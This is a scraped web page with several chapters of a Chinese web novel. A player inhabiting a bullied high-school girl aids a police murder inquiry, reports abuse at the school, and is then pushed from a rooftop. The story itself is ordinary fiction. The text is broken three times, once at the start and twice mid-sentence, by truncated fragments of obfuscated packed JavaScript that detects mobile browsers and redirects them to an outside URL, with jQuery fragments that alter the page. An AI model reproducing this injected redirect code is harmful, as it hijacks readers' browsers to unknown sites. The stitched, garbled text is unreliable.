l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428683|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 添了半杯,也顺便给所有老师都添了些茶。 谢柏雅见唯独没有自己的份,她也不甚在意,只是自己走到饮水机旁加了一点。 石兴旭将笔记本翻到新一页,看向校长,“所以,希望学校能给我们提供一下,昨天夜里所有不在校的老师名单,如果方便的话,加上联系方式与家庭住址。” 校长看向王胜梅,王胜梅点头,“我最迟今天中午整理出来。” 说完这些,石兴旭看向谢柏雅,“然后就是想问一下方同学,关于昨晚案发现场目击的一切,有想起来什么吗?” 谢柏雅本也打算找个机会去做口供,便点头,“昨天回去后,王老师照顾得我很好,我睡了一觉后就记得差不多了。” 她清了清嗓子,细细回忆道,“昨天夜里,我是被德哥——就是那名混混道上的称号——约到那个巷子里的。” 这话一出,桌上所有的老师都皱眉,就连一直向着她的王胜梅老师也有些不赞同的神色。 陈国方压住眼中不怀好意的笑,假意劝诫道:“方同学啊……这点上老师就要劝你一句,你是一个女孩子,你要懂自尊自爱,不能外面随随便便一个男人就……” 石兴旭皱眉,笔帽在桌上“啪”地一敲,清脆的声音打断了陈国方司马昭之心的引导,只是看向谢柏雅,平静问道:“那你和那个阿德是什么关系?” 谢柏雅十分坦荡,“胁迫和被胁迫的关系。” 陈国方剩下的话噎住。 “他告诉我,如果昨晚十一点半不到那个地方给他们送钱,以后我出校门一次就打我一次。” 谢柏雅思忖一瞬,还是没将那张纸条上的“脏事”说出来,首先那张纸条已经被她及时销毁,死无对证,其次是……在陈国方这种人的虎视眈眈下,她不想自曝其短。 至少,也得在她自己调查出“脏事”到底是什么后,才能说出来。 “只是要钱?”陈国方追问。 谢柏雅坦荡回视他,“陈老师以为,他们还能要什么?” 陈国方不说话了,谢柏雅这才继续开口,“他们这群人经常在校门口要钱,相信很多同学和老师都能作证,之前我们学校的王老师就报警抓过他们一次。” 王老师点头,石兴旭也对这群不良少年的案底调查清楚了,所以没有异议。 “在那之后,我前去赴约——但我身上没有那么多钱,只能先去见他,想要求他宽限两天。”她昨天身上没带钱,尸体身上不知道有没有钱,为了将这一点圆的更自然,她如此开口。 “你这傻孩子,身上没钱还去见他,不怕他对你动手吗?躲在学校不出去就好了呀。”开口的是徐校医,她看向谢柏雅,目中一片担忧与关切。 谢柏雅皱眉,扫了她一眼,“怕,但我更怕以后我出不了学校。”说着,她目光看向陈国方和校长,“毕竟,我们学校的老师里,只有王老师一个人肯为我们做主。” 校长轻咳一声,看向陈国方,“陈老师,以后这方面,学校要加强措施了。” 陈国方点头:“是的,我知道。” 谢柏雅继续回忆案发现场,“我和他说了我没钱后,他就开始对我动手,但他那个时候像是喝醉了。” “方映秋”作为一个普通高中生,大概率无法判断对方是不是受了重伤,只说“喝醉”也正常。 “后来他把我扑倒地上,还差点拿手捂死我,我随手拿了一块砖块敲了他。” “敲了他!?”徐校医倒吸一口凉气,“你动手了?” “我那时被他压着嘴巴和鼻子,徐校医,我快死了。” 徐校医被噎了一下,“那也……” 石兴旭从笔记中抬起头,“死者后脑的伤口并不致命,方同学是正当防卫。但死者身上的水是怎么回事?方同学泼的吗?” “水?”谢柏雅微微皱眉,作出回想的样子,“……我不太记得了,可能是旁边的水沟里的?” 石兴旭很确信不是水沟的水,那是水桶里干净的水,而且是在死者受伤后才泼上去的——谢柏雅前面的证词都没有问题,但如果有一个人能在死者受伤后给他泼水,只有她一个人。 [草,我突然反应过来对面为什么这么纠结水了,受伤后给死者泼水,怎么看怎么都像是凶手销毁证据啊!] [怪不得,换我我也怀疑,但这咋解释啊?] [直说啊!不是要销毁证据,只是想把他泼醒问点问题。] [楼上的能不能带点脑子,现在方姐的形象是一朵被霸凌的无辜小白花,小白花会做出“敲晕后泼醒拷问”的动作吗!] [但总比被怀疑是凶手好吧?] [有没有可能,动手、敲晕、泼醒一条龙的行为看上去比凶手还可疑啊!] 但谢柏雅哪个选择都没选,她只是作出回想的样子,“哦,水,我想起来了……那边路口有个水沟,我经常看到有人在那里泼干净的水冲掉污水,我昨天去的时候看到旁边有个桶,是不是有人忘记拿走了?” 这个解释不算难以接受,石兴旭最终决定采用,记录下来。 案件相关信息的询问告一段落,石兴旭盖上笔盖,像是想要到此为止,连校长都起身准备送客,却被谢柏雅叫住。 “石队长留步。”她看向石兴旭,“有一件事,我本来也打算尽快去警局报案,但既然石警官正好在这里,我就直接说了。” 陈国方看着谢柏雅如常的脸色,有不祥的预感冒了出来。 “我在这所学校遭受了严重的校园霸凌,并且被校外的不良青年侵害了个人财产,还以此敲诈勒索——我希望可以报警,借用法律手段保护自己。” 10. 第 10 章 “方同学!”这次开口的不是陈国方了,那位挂名校长这么久以来,终于第一次正眼看了方映秋。 “方同学,老师知道你个好孩子,不要学社会上那些人一样,信口雌黄、人云亦云!”校长严厉地斥责了这么一句,随即微微放缓了语调,痛心疾首地叹了口气,“哎,你年纪还小,容易被挑唆也是正常的……但你不能这么污蔑你的同学,也不能这么误解为你好的老师们啊!” [这脸皮我真的会叹为观止……] [这就是为什么我们做不了校长,毕竟实在没这脸皮大言不惭地说出这种话。] 连谢柏雅都顿了顿,不知道是不是也没想到对方能厚颜无耻到如此程度,但她很快接上了话,不看别人,只看石兴旭。 “石警官,昨晚李警官带我去警局处理的伤口,包括警局卫生处的王医生也看到了——想必他们也和你说了,我身上有很多不是出自昨天的旧伤。” 谢柏雅说这句话的时候,石兴旭没有任何惊讶的反应,想必是已经知晓。 谢柏雅继续开口,“我申请去专业的医院进行伤痕检验,想必能成为专业证据吧?” 石兴旭执笔轻轻敲了敲笔记本,果断点头,“可以。” 说着,她看向有些急切的校长,直接开口打断了他再一次的抢白。 “这也是我今天来这一趟的第二件事,昨天夜里我们的同事对方同学进行了伤口处理,发现她身上有多处陈年旧伤,疑似系在学校期间造成,所以这一趟,也是想来询问一下学校,是否有虐待学生的行为发生。” “没有!绝对没有!”陈国方赶忙否认,“就算有伤口,也都是她和校外那些人纠缠导致的,发生在学校外的事……我们也不好判断嘛。” 谢柏雅不看那两个人,只是看向石兴旭,“石警官,我们学校每个班级是有监控的,宿舍楼各层走廊也有,我相信监控会提供证据。” 校长看了一眼陈国方,陈国方额上似乎都冒出了冷汗,却还是嘴硬道:“班级监控属于未成年隐私……” 这下连谢柏雅都忍不住笑了,“这个时候,学校倒是很清楚未成年人应当被保护的权利了嘛?” 石兴旭扫了陈国方一眼,目光中没有多少冰冷的神色,却就是看得他心中一突。 之后,石兴旭慢条斯理地开口,替谢柏雅补充,“通常情况下,这类内容不便给予公开,但如果确实涉及到在校内的案件,警方有权利收集校内监控。” 说完,他看向刘校医,“这位就是学校校医室的主任,刘医生,是吗?” 刘校医愣了愣,她好像终于明白为什么自己也会被叫来了,“……对,我是。” “方同学在校内学习的时候,曾经因为外伤来校医室就诊过吗?” “这个……”刘校医似乎有点为难,她的目光瞥向陈国方,接收到对方示意后,垂下了眼,“方同学是来过几次,最近的一次就是昨天傍晚,但那据说是她在校外打闹。而其他的……我记不太清了,需要回去整理一下校医室的就诊档案。” 石兴旭顿了顿,但也不为难校医,干脆点头,“好的,那就请尽快。” 说着,他终于站起身,“今天叨扰各位老师了,感谢校方的配合,至于方映秋同学……我需要再带她回一趟警局,做一份正式的笔录,以及会派专业人员陪她去医院做伤情鉴定。” “石警官!”陈国方站起身,叫住了他。 “怎么?陈老师要阻挠警方办案?”石兴旭的声音中似乎还带了一丝漫不经心的笑意。 “不不不,怎么会呢?”陈国方拿出纸巾擦了擦额头的汗珠,“……是这样,今天接到警方的通知过后,我们第一时间联系了方同学的父母,对方正在老家赶来的火车上。” 谢柏雅察觉到,身体中的方映秋情绪变化瞬间加大。 “她还是未成年人,如果要做什么鉴定……最好还是由父母陪同。”陈国方补充道。 这个要求倒是合情合理,石兴旭没有拒绝,“那就先请方同学配合做个笔录。” “这是应该的,”陈国方笑了笑,似乎松了口气,“但在走之前,我们嘱托方同学几句……啊,石警官放心,只是和她说一下今天的课程安排之类的。” 这个要求,石兴旭也没有立场拒绝,他于是看了看手表,“那我在外面等方同学,希望陈老师尽快。” 说着,他又加重语气,多加了一句,“毕竟方同学可是我们的重要证人。” 说完这句话后,石兴旭就走出了会议室,连带着几个不重要的校医与任课老师也离去,校长与王老师去送了他,只剩下方映秋一人和陈国方留在会议室。 谢柏雅感受到,对于和陈国方独处这件事,方映秋几乎产生了十二万分的抗拒——这点她倒是很感同身受,如果可以,她也不愿意和这道貌岸然的伪君子同处一室。 “陈老师想说什么?”谢柏雅开口。 “方映秋!你不要得意!” 这下算是彻底和教导主任陈国方撕破脸了,他伸出的手指几乎戳到谢柏雅的鼻子前,谢柏雅右手动了动,随即握拳,似乎在克制着什么。 [卧槽这陈国方真的好讨人厌,一个老师和一个学生较劲成这样] [拿手指戳人也好冒犯啊!!我碰到真的会恨不得上口咬断!!] [……楼上的,什么都咬只会拉肚子。] [我倒觉得楼上的楼上和方姐共脑了,你们没看到方姐都握拳了吗!这是不是在克制自己不要把这根猪蹄剁掉啊!] [这很方姐!这很霸王花!] 谢柏雅:……倒也不至于剁掉,她最多只是想伸手把这根手指给掰折而已。 谢柏雅垂眼,几乎使用一副敷衍的语调答道:“我只是在用法律手段保护自己的权益,陈老师如果愿意的话,也可以代表学校向我提起诉讼,控告我诽谤。” 陈国方:“……你!” 她抬头,笑道,“但如果你们这么做了,先不说这案子会不会赢,至少贵校是该名扬青史了。” “你以为学校不敢吗!”陈国方冷静下来,压低了语气,“而且,别忘了你们家里是什么状况!你还能有书读都多亏当初学校去你们家说情!不然你父母就要断你学费,直接把你嫁出去了!” 虽然她的记忆里没有这茬,但这一点也不出乎谢柏雅意料,从原主的行为上来看,可以想见原生家庭也不是什么好鸟。 “你去警局做案件笔录学校管不着,但是如果真的在外面胡说八道些乱七八糟的,破坏学校声誉,”他冷笑一声,“我能给你这条读书的路,当然也能断掉你以后所有求学的机会!” 谢柏雅皱眉,这副本里的这学校怎么搞的和黑蛇会似的?这都二十一世纪了,不会真的还以为自己可以让她“学校不允许就读不了书”吧? 从前的方映秋不懂,但谢柏雅可不是什么不懂法律,只能一直被欺负的小白花。 面上,她只是耸耸肩,“反正学校已经把我的父母叫来了不是吗?悉听尊便。” 说着,她也不管对方如何再吹胡子瞪眼,拉开会议室的门走了出去。 她出去的时候,王胜梅正在和石兴旭说着什么,他看到她走出来,向她点了点头,“出来了吗?我们走吧。” 王胜梅也拍了拍她的肩膀,“和石警官去吧,不用太赶,今天下午给你批假,但天黑前记得回学校,知道了吗?” 谢柏雅知道对方是为了她的安全着想,便也乖乖点头。 她跟着石兴旭一路上车,那位敏锐的警官像是终于有机会开了口。 “方同学今天和昨晚的样子,好像不太一样。”他目光中露着几分笑意,“国旗下讲话的那一段,让人刮目相看。” 谢柏雅笑了笑,似乎有些腼腆,“昨晚碰到那样的事,差点就见不到今天的太阳了……有些事情也就突然想通了,我不能再逆来顺受下去。” 生死关头走一遭,确实会导致很多人性格突变,这个解释很合理。 “这也是我求助石警官的原因……我希望警方的介入能帮到我,至少帮我联系未成年保护机构,可以申请助学贷款,我想继续读书。” 方映秋的方法,只有拼命学习,才能为自己摆脱困境,寻得出路。 石兴旭敏锐地察觉到了什么,皱眉,“你的父母呢?” 刚刚陈国方提到的时候,他就觉得有点奇怪——为什么陈国方会将“父母来了”视作一项学校的筹码,按理来说,正常父母在看到孩子受了这样的欺凌后,不手撕学校就不错了,难道还会反帮着学校欺负自家孩子吗? 谢柏雅只是淡淡回答:“我父母希望我辍学嫁人。” 石兴旭愣了愣,随即保证,“我知道了,如果一切属实,警方会尽我们所能帮助你的。” 一路上,石兴旭有心想要对面前的“方映秋”套点话,不管是关于“游戏”的,还是关于她在现实中的身份,但都被对方四两拨千斤地绕了过去,而许多和现实身份有关的东西在这直播中又不方便透露太多,便只能打太极似的绕圈子。 一通折腾下来,他们回到警局做完笔录时,已经到了饭点,石兴旭干脆带着谢柏雅去了单位的食堂,拿自己的饭卡替她打了份饭。 两人就坐的时候,正巧另一个人端着菜盆过来拼桌了,是一名不认识的警官,两人有一搭没一搭地聊着案件,谢柏雅有心听一两句,但大概也是顾忌着旁边有个未成年,还是吃饭时间,两名警官都是点到即止。 谢柏雅无法,只好自己开口提问:“警官,昨天那个案子有查出凶手吗?” 那名陌生的警察楞了一下,随即看向谢柏雅——他还以为是警局的哪位同事,虽然看着年轻了点,但现在听她的话,似乎不是他们的同事? “石队,这位是?” “是昨天那案子的目击证人。” “哦哦,”那警官恍然大悟,看向谢柏雅的目光都不一样了,“就是那个给死者开瓢的女学生!” 谢柏雅:…… [哈哈哈哈哈哈哈哈哈哈方姐以一种奇特的方式在警局闯出了名声] [不是,他们都没觉得哪里不对吗!长着这张脸的方姐是开瓢狠人诶!!] [都说人不可貌相,咋还以貌取人呢!方姐还不能让你清醒过来吗!] [平时越闷,下手越狠!] 石兴旭大概也没想到同事的重点在这里,像是无语了一下,随即边夹菜,边回复谢柏雅前面的话。 “被害者社会关系非常复杂,排查起来有难度。案发路段附近又没有监控,不好排查。”说着,他不着痕迹地打量着谢柏雅, 谢柏雅像是有些好奇,“那凶器呢?刚刚石警官说,凶器可能是把刀?” “嗯,”石兴旭低头吃饭,“凶器是从背部刺入的,警方在步行五分钟的路口找到了第一案发现场……” “石、石队长……”那名同事小心翼翼地咳了一下,“那、那个……方同学虽然是目击者……” 但按照规定,这些事也不便透露吧?更何况还是个未成年孩子,不怕吓到她吗? ……哦不对,这是个能抄起砖头给人开瓢的未成年,应该不会吓到。 石兴旭也点到即止,不再开口——其实他说这些,也只是想看看对方的反应,借此判断一下对方的身份,但谢柏雅的反应和他如出一辙,只是低着头扒饭,什么表情都看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428684|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出来,根本无从判断。 但不知道是不是方映秋平时不习惯吃些油腻的肉食,今天的午饭又有焖肉,她吃了两口就有点腻,甚至泛起了恶心,便起身给自己倒了杯水。 她喝着水回来的时候,那名警官已经告辞,而石兴旭也已经在收拾碗筷,下午要继续出去查案。 他看向谢柏雅:“我安排一个警官送你回学校吧?” 谢柏雅摇摇头,“不用了,我自己坐公交回去。” 石兴旭想了想,现在青天白日的,附近又是警局,离学校又只有两站公交,便点了头。 谢柏雅告别石兴旭,在警局门口又碰到了昨天那名李警官。 “诶,方同学是吧?”李思弦和她打招呼,“你的事我已经听石队说了。” 她伸手,拍了拍谢柏雅的肩膀,“不用怕,等你父母来了,我们就带你去验伤,如果一切属实,警方一定会站在你这边,尽全力保护你的,也一定不会让你们学校的那些加害者逃脱制裁!” 谢柏雅点头,“嗯,我相信李警官和石警官!” 谢柏雅离开警局的时候还不到下午一点,她有心想去看一眼昨天的案发现场,虽然刚刚没有问出实际地点,但石兴旭说是距离附近五分钟的地方。 【你是想去案发现场吗?】 乍一听到方映秋的声音,谢柏雅还一愣,随即在心中答道:“对。” 那个混混是目前这个副本里出现的第一个“死者”,很可能就契合了任务目标的后四个字,“替死者言”。 所以,先不管这混混人品如何,她至少也得想办法跟进一下案情。 【但你没有得到确切地点,怎么办呀?】方映秋似乎有点好奇。 “很简单。” 谢柏雅拿出手机,她的手机已经很旧了,是一部二手的百元机,上面遍布划痕,连触控屏都不太灵敏,平日里为了节省话费,几乎都是限流和关机状态。 她花了会儿时间,才从卡顿的手机里翻出地图,耐心向方映秋解释道,“按照那群社会青年的习性,他们半夜也不会安安分分回家,而他们平常习惯聚集的地方,多半也不是什么有监控的大马路或者正规店面——就像昨天约你去的那条巷子那样。” 说着,她圈定了地图上步行五分钟的范围,一个个街景看过去,“按照这个范围,搜那些没有监控、渺无人烟的死胡同就对了。” 按照这个规律,谢柏雅暂时划定了几个地点,都已经走到了公交站台,但想着为了方映秋省点钱,还是绕过,决定徒步走过去。 【你可以坐车的……】 “没关系,中午吃太多都撑到反胃,就当走路消食了。而且等我离开了,你还得好好过日子。” 如果这真的只是个系统设定的游戏,她大可以不管不顾地开启无双模式,一路“管杀不管埋”,就算把所有npc都得罪个遍,只要能通关就行。 但既然方映秋是个有血有肉的真人,她自然要为对方打算。 所以,她一定要向警局报案,等验伤结果下来,走合法程序控告学校,顺利的话,还能申请助学金,转到其他学校,继续学习。 她的人生才刚刚开始,未来的路那么长,足够她拥抱全新的生活。 谢柏雅边走边在心中默默盘算着后招,方映秋沉默片刻,【我不知道该怎么感谢你……】 谢柏雅直言开口:“那就和我说说,昨天那张纸条上的‘脏事’。” 这件事她从昨晚耿耿于怀到现在了,她还担心黄毛死后她没有调查方向,但柳暗花明又一村,谁知原主方映秋居然是可以沟通的。 可惜即便可以沟通,方映秋也只能沉默。 【……抱歉,关键线索相关的内容,我们连提及都是不被允许的。】 谢柏雅有些遗憾,但也没有过多扼腕,“没关系,可以理解。” 她一路上和方映秋有一搭没一搭地聊着天,不涉及关键线索的东西,方映秋几乎知无不言。 谢柏雅的运气不错,她带着方映秋找了两个疑似地点,第三个就是他们要找的案发现场。 她到的时候,警方还在勘探,她远远就看到了拉起的警戒线。 谢柏雅走上前去,正巧看到了正在警戒线里的石兴旭。 “石警官!”她隔着警戒线喊了他一声。 石兴旭回头,见是她,抬抬手把她放了进来,向她打招呼,“方同学。” 谢柏雅走近他,“石警官似乎不意外我会出现?” 石兴旭看了她一眼,目中似乎有些许笑意,“这是第几个排查到的地点?” 谢柏雅也笑了一下,没有回答,而是顾左右而言他,“我正要回学校,正好看到这边拉了警戒线,想着可能是石警官在这里,就想来向你道谢。昨天晚上和今天在学校会议室,都要谢谢你。” 虽然不是特意来给她撑腰的,但今天早晨在会议室,确实是石兴旭的存在,让陈国方他们投鼠忌器。 “这只是我们身为警察应该做的,”说着他环顾四周,“这里不是汽车站走向你学校的方向。” 谢柏雅笑笑,“我没钱坐车,一路走回来的,这里是小路,不用过红绿灯。” 虽然一个有些怯懦的女孩子专门挑小路绕道有些奇怪,但毕竟现在是大白天,四周又刚刚发生了命案,许多警车来来去去,倒也不算可疑。 谢柏雅瞥了一眼案发现场,确保将所有细节尽收眼底,随即看向石兴旭,“打过招呼了,那我就先回去了,再见石警官。” 她正要转身离开,却突然听到石兴旭从身后叫住了她——用了那个他们第一次见面,他就脱口而出的名字。 “谢……柏雅!” 11. 第 11 章 石兴旭在叫住谢柏雅的时候,只是想做最后一次努力——他实在太想知道对方到底是不是他认识的人。 但结果依旧没有让他惊喜。 面前的女学生顿住了脚步,缓缓转身,看向他,显得疑惑和犹豫:“石警官……是在叫我?” 石兴旭叹了口气,将早就准备好的说辞端了出来:“不,我是在说……”他按开手机,低头,“大家从昨晚到现在熬夜工作辛苦了,要歇一歇点杯奶茶吗?就点伯牙*弦。” 石兴旭看向她,“方同学要来一杯吗?” 谢柏雅:…… 她很清楚对方不过是在扯淡,但思考了一下,想到平时方映秋大概也没机会喝奶茶,倒是可以让她尝尝鲜,就点头。 于是,半个小时后,谢柏雅坐在了案发现场旁边的奶茶店,坐在石兴旭对面,默默喝起了奶茶。 “石警官……不回警局吗?” “不急,我来这里也是为了工作,”他打开笔记本,“被害者的付款记录显示,昨晚的时候他在这家奶茶店下过单。” 说着,他站起身,走向柜台,拿出证件,随口问了服务员几个问题。 坐回来后,他继续抿奶茶,但只喝了半口,“昨天晚上死者在这里买过一杯奶茶。” “一杯?”谢柏雅听后,微微皱眉,“死者是奶茶店常客吗?” “不是,昨晚来取奶茶的时候,也只有一个人——所以,这代表着他昨晚约见了一个女性,还是一个他定义为‘友好’甚至‘有好感’的女性,不是像你这样的胁迫关系。” 毕竟这混混不可能给谢柏雅带奶茶,而奶茶这种东西,也不像是约见男性会带的东西。 “也就是说,在试图勒索我前,他还见过一名女性,”谢柏雅咬着吸管,“……她有可能是凶手吗?” “不排除可能性,昨天夜里,我们在隔壁街的垃圾桶里发现过一杯喝了三分之一的奶茶,但吸管上的唾液被其他厨余垃圾污染得太严重了,只能检测出是女性的DNA。” 谢柏雅笑了一声,“看来这位嫌疑人,也不爱喝这奶茶啊。”说着,她转过奶茶的标签,看了一眼,“嚯,茶多酚含量651.9mg。” 正常人体每日摄入的茶多酚含量最好不超过500毫克,碰上有特殊体质或是疾病的病人更该减量,比如孕妇只能摄入不超过200毫克。 石兴旭看向她,“你们学校里有不爱喝奶茶的女老师吗?” “外卖不让进学校。”谢柏雅耸耸肩,她也无从观察,“而且,确定凶手是那名女性了吗?我看案发现场你们圈起来的一个半只脚印,那明显是男性的脚印。” 谢柏雅虽然不愿意透露自己的真实身份,但倒是也不介意让对方察觉到自己也是“玩家”,毕竟他们现在有个共同的目标,追查凶案。 而对方也给出了一开始合作的诚意——将奶茶线索透露给了她。 果不其然,石兴旭一点也不奇怪“方映秋”能有这样的观察力,只是点点头,“是,但不确定是凶手的鞋印,而且尸体被捅的那一刀不深,说明凶手力气或许并不大。” 谢柏雅接着他的推理继续往下,“伤口不深,但却还是制了命,说明凶手应该有一部分医学知识。而死者是被从背后捅刀,说明至少在那个当口,死者对凶手没有戒备心。”不然不会把背后留给对方。 说着,她笑了一声,看向石兴旭,“恭喜你们,如果凶手是学校里的老师的话,那你们应该很快就能破案了。” 学校的老师多半从师范学校毕业,要排查一个医学背景的老师,不算难事。 石兴旭却有些头疼地叹了口气,“不,你想错了,你们学校的老师,居然有六个是正规医科大学毕业的。” 谢柏雅惊了,“这么多?” “就业困难。” [够了,我是来找乐子的,不是来照镜子的。] [血淋淋的故事背景……] [不是,这俩就这么水灵灵地聊起来了?一个是警察一个是表面小白花的目击者啊!警察都不怀疑一下对方的吗!?] [有没有可能……他们已经互通身份了呢?都是玩家,互相分享和合作很正常啊!] [??啥时候通的,我错过了什么剧情吗??这两人不是天都没聊过两句吗?] [聪明人的默契不需要说话。] 谢柏雅点头,“我知道了,把那几个医学背景的老师告诉我,我会想办法在学校里调查的。” 让她惊讶的是,那份名单里居然有王胜梅和徐婉的名字,还有几个相熟的老师。 她本想下意识排除徐婉,毕竟据她推测对方应该是玩家,但转念一想,谁说玩家抽到的身份不能是凶手了? 两人通过气后,石兴旭告别了谢柏雅,继续回警局调查案件了。 方映秋终于冒头,评价了一句:【我看同学好像都挺爱喝奶茶的,但真尝起来也不那么好喝嘛。】 谢柏雅笑笑,“每个人口味确实不同。” 方映秋的声音听上去不再那么沉闷,看来一路上谢柏雅和她的交流也颇有成效。 【我来是想说……我可能又要操控者具身体了。】 “你有感觉?”谢柏雅怔了一下,随即抬头看了看奶茶店的钟表,“我是上午九点多在操场上开始控制的,现在不到下午四点,也就是说我们一轮交换,最多只能持续六个小时?” 她说完这句话,就察觉到自己对身体的掌控渐渐薄弱,不过多时,便退居二线。 不过好消息是,现在系统面板上【死亡进度】已经只剩57%了,连【真相进度】都推进了10%。 看来刚刚关于凶手的一番推理应该没有搞错。 方映秋掌控了身体后,她直接回了学校,还赶上了下午最后一节课。 她先去教师办公室,主动找班主任王胜梅上交了手机——他们是寄宿学校,虽然没有规定学生不能带手机,但平时上课的时候都会交给老师,晚上下了课才会拿回来。 王胜梅简单问了她一些事,便带着她一起回班级,半路上,谢柏雅的手机震了震,王胜梅拿出来看了一眼,“是石警官发短信来说,到校和他说一声。” 他们之前在奶茶店交换了号码,方映秋低着头,轻声道,“老师帮我回一个到了吧。” 王胜梅替她回了信息,正巧和下楼的陈国方擦肩而过,他现在连装都懒得装了,看着方映秋就冷笑一声。 “刚刚接到你父母的信息,他们今晚就该到了。” 方映秋低着头,再次缩回了陈国方熟悉的懦弱样子,但他现在可不会再被这幅表象欺骗。 自从得知“父母”这个消息后,谢柏雅明显察觉到方映秋的心情又开始糟糕起来,连【死亡进度】都又开始攀升。 她试图开导她,父母到了不要紧,等验了伤痕,可以请警方介入转学,到时候不管是陈国方还是父母,都无法再阻拦她上学。 但方映秋自从回到学校后,就没有再和谢柏雅沟通过,不知道是因为心理阴影太大,还是这又是“不被允许”的。 谢柏雅看着又爬回65%的死亡进度,产生了些许不祥的预感——难道这次自己判断错了?在出校门后就不该让方映秋回学校? 仔细想来,这学校确实是方映秋的噩梦之地,虽然再几次立威后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428685|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有人再敢来欺负她,但毕竟曾经不好的记忆抹消不掉。 她盘算着等明天掌控了身体,是不是应该先申请个休学,会对方映秋好一点? 但她没有等到这个机会。 晚上回到寝室的时候,方映秋再次从校服口袋中取出一张纸条。 【不想让人知道你的脏事,今晚十一点半,育德楼天台见。】 除了地点不一样,第一句话和她昨天收到的纸条一模一样! 昨天的纸条不是黄毛写的吗?黄毛不是已经死了吗! 而这张纸条上还有第二句,几乎切中了方映秋的命脉。 【你的父母快到了吧?】 方映秋拿着纸条的手都在抖,泪水洇湿了纸条,甚至死亡进度都攀回了70%。 这样下去不行!谢柏雅难得焦急起来,她再不行动进度条又要拉满了,她不停地试图和方映秋沟通,对方却还是无动于衷。 不对,这不对! 明明她已经和方映秋产生了良好沟通,怎么突然就联系不上了?明明一切都在往好的方向发展,为什么一个下午的功夫又急转直下了? 就像是、就像是有人见不得这样通往HappyEnding的结局,强行将剧情掰了回来! 想到这里,谢柏雅拉开系统面板,【契合度:8%】的数值刺目异常。 契合度也降下来了,一切似乎又回到了游戏开头。 方映秋握着纸条陷入睡眠,似乎在为今晚的见面补觉,谢柏雅也只能被她拉着陷入沉睡。 再度醒来时,这具身体已经来到了育德楼的天台门外。 谢柏雅眼睁睁看着方映秋推开天台的门,走了上去。 “你、你在了吗?” 回应她的只有呼呼的风声。 “我、我来了,你、你在哪?求求你不要把我的事情说……” 突然,方映秋的身后出现了一个黑影,她还没来得及回身查看是谁,就被人从背后捂住了口鼻! 这样的时刻,明明放在之前,谢柏雅是能掌控这具身体的!但这时候她怎么努力,都动不了一丝一毫,恐惧与绝望充斥着原主方映秋的内心,她却连动动手指的能力都没有! 下一秒,她被人揽住腰身,轻巧一提一扔,从七楼楼顶推了下去。 [雾草雾草发生了什么!!我看下午都是上课的剧情就去休息了!怎么开屏就这么刺激!!] [下午是小白花又掌握了身体吗?我看契合度又降下来了,难道是GM终于修复了bug??] [卧槽凶手出现了!!凶手抓住方姐了!] [方姐加油!!方姐快反抗啊!!方姐加油!!] [嗬嗬,早就说了,你们和那个玩家都太小看契合度了,一看就没被系统毒打过,没救了,重开吧。] [不可能!这是方姐!!方姐快来创造奇迹!!] 但无论弹幕怎么呼唤,谢柏雅都只能和方映秋的身体一起,高速向地面坠落! 【死亡进度:83%】 …… 【死亡进度:95%】 砰—— 【死亡进度:100%】 【系统提示:您已死亡。】 这一次,没有奇迹。 鲜血在少女的身下绽开,连同她在高速坠落下破碎的身体一起,绽放在冰冷的夜色下。 […………哎。] [……还是走向了原剧情,她被凶手从七楼扔下去了……] 【……对不起……连累你了……】方映秋的声音终于再度出现,只剩奄奄一息。 【但我,最后为你……】 12. 第 12 章 “啊啊啊啊啊尸体动了我不玩了!!诈尸啦!!!” 堪称凄厉的尖叫声在育德楼下的凶案现场响起,几乎瞬间吸引了在场所有警察和老师的注意力。 一个年轻的男性法医,正“蹭蹭蹭”地倒退着远离地上坠亡的女学生尸体,瞪大双眼惊恐地大叫:“尸体动了!!” 旁边的老法医一巴掌呼在了他的背上,呵斥道:“瞎嚷嚷什么!”随即看向其他人,抱歉笑道:“这小赵还是新人,第一次见这场面,抱歉抱歉,你们继续,不用管这里。” 其余人的目光转开,那老法医伸手拽住赵法医,压低声音骂道:“怎么回事!你也不是新人了,又不是第一次见尸体?刚刚就去吐了一次,现在怎么还开始鬼叫了?” 赵法医惨白着面容,强迫自己镇定下来,“对、对不起胡老师……我、我昨晚和朋友聚会喝多了,今天还、还没醒酒……” 老胡法医又呼了小赵的后脑一巴掌,“去,洗把脸再回来!” 小赵法医跌跌撞撞地走了,老胡法医摇摇头,低头重新查看起尸体来。 “……嘶!好像真眨了一下?”他嘀咕了一声,“错觉吧……” 不,不是你的错觉。如果谢柏雅此刻能开口的话,她一定会这么说。 但她不行,她只能眼睁睁看着“自己”被“验尸”——好在她现在身上毫无感觉。 甚至不像现实里手术台上打了麻药后,还能感受到那种轻微的拉扯感,她一点感觉都没有。 在她的记忆里,她已经跟随着这具身体掉下七楼,摔死在了育德楼前,而不知道为什么,一夜过去,她重新恢复了意识,睁开了眼? 她还能感觉到,这具身……额,尸体里只有了她一个意识,方映秋已经消失了。 难道是方映秋消失前做了什么?谢柏雅想到她最后那句话。 【但我,最后为你……】 莫非就是方映秋最后为谢柏雅做了什么,所以才能让她没有跟随这具尸体死亡,而是保留了意识? 